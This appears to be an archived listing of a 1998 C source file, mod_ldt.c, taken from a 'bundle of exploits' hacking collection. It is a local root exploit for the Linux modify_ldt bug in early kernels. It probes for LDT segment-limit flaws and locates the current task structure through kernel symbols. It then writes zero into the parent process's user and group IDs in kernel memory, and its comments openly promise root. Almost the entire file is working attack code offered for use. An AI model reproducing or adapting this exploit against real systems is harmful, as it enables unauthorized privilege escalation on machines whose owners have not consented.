home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / mod_ldt.c < prev    next >
Text File  |  1998-07-17  |  5KB  |  143 lines

  1.  
  2.  
  3. /* this is a hack of a hack.  a valid System.map was needed to get this 
  4.    sploit to werk.. but not any longer.. This sploit will give you root
  5.    if the modify_ldt bug werks.. which I beleive it does in any kernel 
  6.    before 1.3.20 ..
  7.    
  8.    QuantumG
  9. */
  10.  
  11. /* original code written by Morten Welinder.
  12.  *
  13.  * this required 2 hacks to work on the 1.2.13 kernel that I've tested on:
  14.  * 1. asm/sigcontext.h does not exist on 1.2.13 and so it is removed.
  15.  * 2. the _task in the System.map file has no leading underscore.
  16.  * I am not sure at what point these were changed, if you are
  17.  * using this on a newer kernel compile with NEWERKERNEL defined.
  18.  *                                          -ReD
  19.  */
  20.  
  21. #include <linux/ldt.h>
  22. #include <stdio.h>
  23. #include <linux/unistd.h>
  24. #include <signal.h>
  25. #ifdef NEWERKERNEL
  26. #include <asm/sigcontext.h>
  27. #endif
  28. #define __KERNEL__
  29. #include <linux/sched.h>
  30. #include <linux/module.h>
  31.  
  32. static inline _syscall1(int,get_kernel_syms,struct kernel_sym *,table);
  33. static inline _syscall3(int, modify_ldt, int, func, void *, ptr, unsigned long, bytecount)
  34.  
  35.  
  36. #define KERNEL_BASE 0xc0000000
  37. /* ------------------------------------------------------------------------ */
  38. static __inline__ unsigned char
  39. __farpeek (int seg, unsigned ofs)
  40. {
  41.   unsigned char res;
  42.   asm ("mov %w1,%%gs ; gs; movb (%2),%%al"
  43.        : "=a" (res)
  44.        : "r" (seg), "r" (ofs));
  45.   return res;
  46. }
  47. /* ------------------------------------------------------------------------ */
  48. static __inline__ void
  49. __farpoke (int seg, unsigned ofs, unsigned char b)
  50. {
  51.   asm ("mov %w0,%%gs ; gs; movb %b2,(%1)"
  52.        : /* No results.  */
  53.        : "r" (seg), "r" (ofs), "r" (b));
  54. }
  55. /* ------------------------------------------------------------------------ */
  56. void
  57. memgetseg (void *dst, int seg, const void *src, int size)
  58. {
  59.   while (size-- > 0)
  60.     *(char *)dst++ = __farpeek (seg, (unsigned)(src++));
  61. }
  62. /* ------------------------------------------------------------------------ */
  63. void
  64. memputseg (int seg, void *dst, const void *src, int size)
  65. {
  66.   while (size-- > 0)
  67.     __farpoke (seg, (unsigned)(dst++), *(char *)src++);
  68. }
  69. /* ------------------------------------------------------------------------ */
  70. int
  71. main ()
  72. {
  73.   int stat, i,j,k;
  74.   struct modify_ldt_ldt_s ldt_entry;
  75.   FILE *syms;
  76.   char line[100];
  77.   struct task_struct **task, *taskptr, thistask;
  78.   struct kernel_sym blah[4096];
  79.  
  80.   printf ("Bogusity checker for modify_ldt system call.\n");
  81.  
  82.   printf ("Testing for page-size limit bug...\n");
  83.   ldt_entry.entry_number = 0;
  84.   ldt_entry.base_addr = 0xbfffffff;
  85.   ldt_entry.limit = 0;
  86.   ldt_entry.seg_32bit = 1;
  87.   ldt_entry.contents = MODIFY_LDT_CONTENTS_DATA;
  88.   ldt_entry.read_exec_only = 0;
  89.   ldt_entry.limit_in_pages = 1;
  90.   ldt_entry.seg_not_present = 0;
  91.   stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
  92.   if (stat)
  93.     /* Continue after reporting error.  */
  94.     printf ("This bug has been fixed in your kernel.\n");
  95.   else
  96.     {
  97.       printf ("Shit happens: ");
  98.       printf ("0xc0000000 - 0xc0000ffe is accessible.\n");
  99.     }
  100.  
  101.   printf ("Testing for expand-down limit bug...\n");
  102.   ldt_entry.base_addr = 0x00000000;
  103.   ldt_entry.limit = 1;
  104.   ldt_entry.contents = MODIFY_LDT_CONTENTS_STACK;
  105.   ldt_entry.limit_in_pages = 0;
  106.   stat = modify_ldt (1, &ldt_entry, sizeof (ldt_entry));
  107.   if (stat)
  108.     {
  109.       printf ("This bug has been fixed in your kernel.\n");
  110.       return 1;
  111.     }
  112.   else
  113.     {
  114.       printf ("Shit happens: ");
  115.       printf ("0x00000000 - 0xfffffffd is accessible.\n");
  116.     }
  117.  
  118.   i = get_kernel_syms(blah);
  119.   k = i+10;
  120.   for (j=0; j<i; j++) 
  121.    if (!strcmp(blah[j].name,"current") || !strcmp(blah[j].name,"_current")) k = j;
  122.   if (k==i+10) { printf("current not found!!!\n"); return(1); }
  123.   j=k;
  124.  
  125.   taskptr = (struct task_struct *) (KERNEL_BASE + blah[j].value);
  126.   memgetseg (&taskptr, 7, taskptr, sizeof (taskptr));  
  127.   taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) taskptr);
  128.   memgetseg (&thistask, 7, taskptr, sizeof (thistask));  
  129.   if (thistask.pid!=getpid()) { printf("current process not found\n"); return(1); }
  130.   printf("Current process is %i\n",thistask.pid);
  131.   taskptr = (struct task_struct *) (KERNEL_BASE + (unsigned long) thistask.p_pptr);
  132.   memgetseg (&thistask, 7, taskptr, sizeof (thistask));  
  133.   if (thistask.pid!=getppid()) { printf("current process not found\n"); return(1); }
  134.   printf("Parent process is %i\n",thistask.pid);
  135.   thistask.uid = thistask.euid = thistask.suid = thistask.fsuid = 0;
  136.   thistask.gid = thistask.egid = thistask.sgid = thistask.fsgid = 0;
  137.   memputseg (7, taskptr, &thistask, sizeof (thistask));
  138.   printf ("Shit happens: parent process is now root process.\n");
  139.   return 0;
  140. };
  141.  
  142.  
  143.